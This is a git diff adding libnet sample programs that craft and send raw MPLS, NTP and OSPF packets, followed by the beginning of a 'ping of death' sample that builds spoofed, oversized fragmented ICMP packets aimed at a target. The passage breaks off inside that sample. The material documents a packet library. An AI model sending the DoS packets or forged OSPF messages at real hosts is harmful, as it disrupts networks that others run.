+#if defined(__GNUC__) /* mingw compiler */
+extern __attribute__((dllimport)) char *optarg;
+#else /* assume msvc */
+#ifndef _WIN32
+extern __dllspec(dllimport) char *optarg;
+#endif
+#endif
+#endif /* __WIN32__ */
+
+#endif /* __LIBNET_TEST_H */
+
+/* EOF */
diff --git a/libnet/sample/mpls.c b/libnet/sample/mpls.c
new file mode 100644
index 0000000..7e6a070
--- /dev/null
+++ b/libnet/sample/mpls.c
@@ -0,0 +1,251 @@
+/*
+ * $Id: mpls.c,v 1.3 2004/03/01 20:26:12 mike Exp $
+ *
+ * libnet 1.1
+ * Build an MPLS packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char *payload;
+ u_long payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: MPLS[link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0xffffffff, /* sequence number */
+ 0x00000000, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+
+ t = libnet_build_mpls(
+ 29, /* label */
+ 4, /* experimental */
+ LIBNET_MPLS_BOS_ON, /* bottom of stack */
+ 0xff, /* ttl */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ t = libnet_build_mpls(
+ 39, /* label */
+ 5, /* experimental */
+ LIBNET_MPLS_BOS_ON, /* bottom of stack */
+ 0xef, /* ttl */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ t = libnet_build_mpls(
+ 59, /* label */
+ 6, /* experimental */
+ LIBNET_MPLS_BOS_ON, /* bottom of stack */
+ 0x0f, /* ttl */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build MPLS header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ethernet(
+ enet_dst, /* ethernet destination */
+ enet_src, /* ethernet source */
+ ETHERTYPE_MPLS, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte MPLS frame; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/ntp.c b/libnet/sample/ntp.c
new file mode 100644
index 0000000..0fef46f
--- /dev/null
+++ b/libnet/sample/ntp.c
@@ -0,0 +1,193 @@
+/*
+ * $Id: ntp.c,v 1.3 2004/02/20 18:53:49 mike Exp $
+ *
+ * libnet 1.1
+ * Build an NTP Packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ u_long dst_ip;
+ libnet_ptag_t t;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 NTP packet shaping[raw -- autobuilding IP]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ dst_ip = 0;
+ while((c = getopt(argc, argv, "d:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(1);
+ }
+ break;
+ }
+ }
+ if (!dst_ip)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * Build the packet, remmebering that order IS important. We must
+ * build the packet from lowest protocol type on up as it would
+ * appear on the wire. So for our NTP packet:
+ *
+ * --------------------------------------------------------------------
+ * | IP | UDP | NTP |
+ * --------------------------------------------------------------------
+ * ^ ^ ^
+ * |-------------- | |
+ * libnet_build_ipv4()--| | |
+ * | |
+ * libnet_build_udp()-------| |
+ * |
+ * libnet_build_ntp()------------------------------|
+ */
+ t = libnet_build_ntp(
+ LIBNET_NTP_LI_AC, /* leap indicator */
+ LIBNET_NTP_VN_4, /* version */
+ LIBNET_NTP_MODE_S, /* mode */
+ LIBNET_NTP_STRATUM_PRIMARY, /* stratum */
+ 4, /* poll interval */
+ 1, /* precision */
+ 0xffff, /* delay interval */
+ 0xffff, /* delay fraction */
+ 0xffff, /* dispersion interval */
+ 0xffff, /* dispersion fraction */
+ LIBNET_NTP_REF_PPS, /* reference id */
+ 0x11, /* reference ts int */
+ 0x22, /* reference ts frac */
+ 0x33, /* originate ts int */
+ 0x44, /* originate ts frac */
+ 0x55, /* receive ts int */
+ 0x66, /* receive ts frac */
+ 0x77, /* transmit ts interval */
+ 0x88, /* transmit ts fraction */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build NTP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ libnet_seed_prand(l);
+ t = libnet_build_udp(
+ libnet_get_prand(LIBNET_PRu16), /* source port */
+ 123, /* NTP port */
+ LIBNET_UDP_H + LIBNET_NTP_H, /* UDP packet length */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_NTP_H,/* packet length */
+ IPPROTO_UDP,
+ dst_ip,
+ l);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+
+ fprintf(stderr, "l contains a %d byte packet\n", libnet_getpacket_size(l));
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte NTP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -d destination_ip\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/ospf_hello.c b/libnet/sample/ospf_hello.c
new file mode 100644
index 0000000..a4e3494
--- /dev/null
+++ b/libnet/sample/ospf_hello.c
@@ -0,0 +1,179 @@
+/*
+ * $Id: ospf_hello.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an OSPF Hello packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src, dst, nbr;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_char *to, *from, *neighbor;
+ u_char auth[8] = {0,0,0,0,0,0,0,0};
+
+
+ printf("libnet 1.1 OSPF Hello packet shaping[raw]\n");
+
+ if (argc != 4)
+ {
+ usage(argv[0]);
+ }
+
+ from = argv[1];
+ to = argv[2];
+ neighbor = argv[3];
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ /* Too lazy to check for error */
+ src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE);
+ dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE);
+ nbr = libnet_name2addr4(l, neighbor, LIBNET_DONT_RESOLVE);
+
+ t = libnet_build_ospfv2_hello(
+ 0xffffffff, /* netmask */
+ 2, /* interval */
+ 0x00, /* options */
+ 0x00, /* priority */
+ 30, /* dead int */
+ src, /* router */
+ src, /* router */
+ nbr, /* neighbor */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF HELLO header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /* authentication data */
+ t = libnet_build_data(
+ auth, /* auth data */
+ LIBNET_OSPF_AUTH_H, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF auth header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ospfv2(
+ LIBNET_OSPF_HELLO_H + LIBNET_OSPF_AUTH_H, /* OSPF packet length */
+ LIBNET_OSPF_HELLO, /* OSPF packet type */
+ htonl(0xd000000d), /* router id */
+ htonl(0xc0ffee00), /* area id */
+ 0, /* checksum */
+ LIBNET_OSPF_AUTH_NULL, /* auth type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_OSPF_H +
+ LIBNET_OSPF_HELLO_H + LIBNET_OSPF_AUTH_H, /* packet total legnth */
+ 0, /* TOS */
+ 101, /* IP iD */
+ IP_DF, /* IP frag */
+ 254, /* TTL */
+ IPPROTO_OSPF, /* protocol */
+ 0, /* checksum */
+ src, /* source IP */
+ dst, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *pname)
+{
+ printf("Usage: %s <source ip> <dest. ip> <neighbor>\n", pname);
+ exit(EXIT_SUCCESS);
+}
diff --git a/libnet/sample/ospf_lsa.c b/libnet/sample/ospf_lsa.c
new file mode 100644
index 0000000..aa08283
--- /dev/null
+++ b/libnet/sample/ospf_lsa.c
@@ -0,0 +1,190 @@
+/*
+ * $Id: ospf_lsa.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build an OSPF LSA packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1999, 2000 Andrew Reiter <areiter@bindview.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+int
+main(int argc, char **argv)
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_long src, dst;
+ u_char auth[8] = {0,0,0,0,0,0,0,0};
+ char *from, *to, errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 OSPF LSA packet shaping[raw]\n");
+
+ if (argc != 3)
+ {
+ usage(argv[0]);
+ }
+
+ from = argv[1];
+ to = argv[2];
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ /* Too lazy to check for error */
+ src = libnet_name2addr4(l, from, LIBNET_DONT_RESOLVE);
+ dst = libnet_name2addr4(l, to, LIBNET_DONT_RESOLVE);
+
+ t = libnet_build_ospfv2_lsa_net(
+ 0xffffff00, /* netmask */
+ 0xc0ffee00, /* router id */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build LSA net header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ospfv2_lsa(
+ 40, /* packet age */
+ 0, /* options */
+ LIBNET_LS_TYPE_NET, /* type */
+ htonl(0xc0ffee00), /* LS id */
+ src, /* ad router */
+ 0x11111111, /* seq */
+ 0xffff, /* checksum */
+ LIBNET_OSPF_LS_NET_H + LIBNET_OSPF_LSA_H, /* packet length */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build LSA header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /* authentication data */
+ t = libnet_build_data(
+ auth, /* auth data */
+ LIBNET_OSPF_AUTH_H, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF AUTH header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ospfv2(
+ LIBNET_OSPF_LSA_H + LIBNET_OSPF_AUTH_H +
+ LIBNET_OSPF_LS_NET_H, /* OSPF packet length */
+ LIBNET_OSPF_LSA, /* OSPF packet type */
+ htonl(0xd000000d), /* router id */
+ htonl(0xc0ffee00), /* area id */
+ 0, /* checksum */
+ LIBNET_OSPF_AUTH_NULL, /* auth type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build OSPF header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_OSPF_H + LIBNET_OSPF_AUTH_H +
+ LIBNET_OSPF_LSA_H + LIBNET_OSPF_LS_NET_H, /* packet total length */
+ 0, /* TOS */
+ 101, /* IP iD */
+ IP_DF, /* IP frag */
+ 254, /* TTL */
+ IPPROTO_OSPF, /* protocol */
+ 0, /* checksum */
+ src, /* source IP */
+ dst, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte OSPF packet; check the wire.\n",
+c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+
+void
+usage(char *pname)
+{
+ printf("Usage: %s <source ip> <dest. ip>\n", pname);
+ exit(0);
+}
diff --git a/libnet/sample/ping_of_death.c b/libnet/sample/ping_of_death.c
new file mode 100644
index 0000000..b71cb05
--- /dev/null
+++ b/libnet/sample/ping_of_death.c
@@ -0,0 +1,171 @@
+/*
+ * $Id: ping_of_death.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * ICMP ping of death attack
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Copyright (c) 1999 - 2001 Dug Song <dugsong@monkey.org>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+#define FRAG_LEN 1472
+
+int
+main(int argc, char **argv)
+{
+ libnet_t *l;
+ libnet_ptag_t ip;
+ libnet_ptag_t icmp;
+ struct libnet_stats ls;
+ u_long fakesrc, target;
+ u_char *data;
+ int c, i, flags, offset, len;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 Ping of Death[raw]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_RAW4, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s\n", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ if (argc != 2 || ((target = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE) == -1)))
+ {
+ fprintf(stderr, "Usage: %s <target>\n", argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+ /* get random src addr. */
+ libnet_seed_prand(l);
+ fakesrc = libnet_get_prand(LIBNET_PRu32);
+
+ data = malloc(FRAG_LEN);
+ for (i = 0 ; i < FRAG_LEN ; i++)
+ {
+ /* fill it with something */
+ data[i] = 0x3a;
+ }
+
+ ip = LIBNET_PTAG_INITIALIZER;
+ icmp = LIBNET_PTAG_INITIALIZER;
+
+ for (i = 0 ; i < 65536 ; i += (LIBNET_ICMPV4_ECHO_H + FRAG_LEN))
+ {
+ offset = i;
+ flags = 0;
+
+ if (offset < 65120)
+ {
+ flags = IP_MF;
+ len = FRAG_LEN;
+ }
+ else
+ {
+ /* for a total reconstructed length of 65538 bytes */
+ len = 410;
+ }
+
+ icmp = libnet_build_icmpv4_echo(
+ ICMP_ECHO, /* type */
+ 0, /* code */
+ 0, /* checksum */
+ 666, /* id */
+ 666, /* sequence */
+ data, /* payload */
+ len, /* payload size */
+ l, /* libnet handle */
+ icmp); /* libnet ptag */
+ if (icmp == -1)
+ {
+ fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ /* no reason to do this */
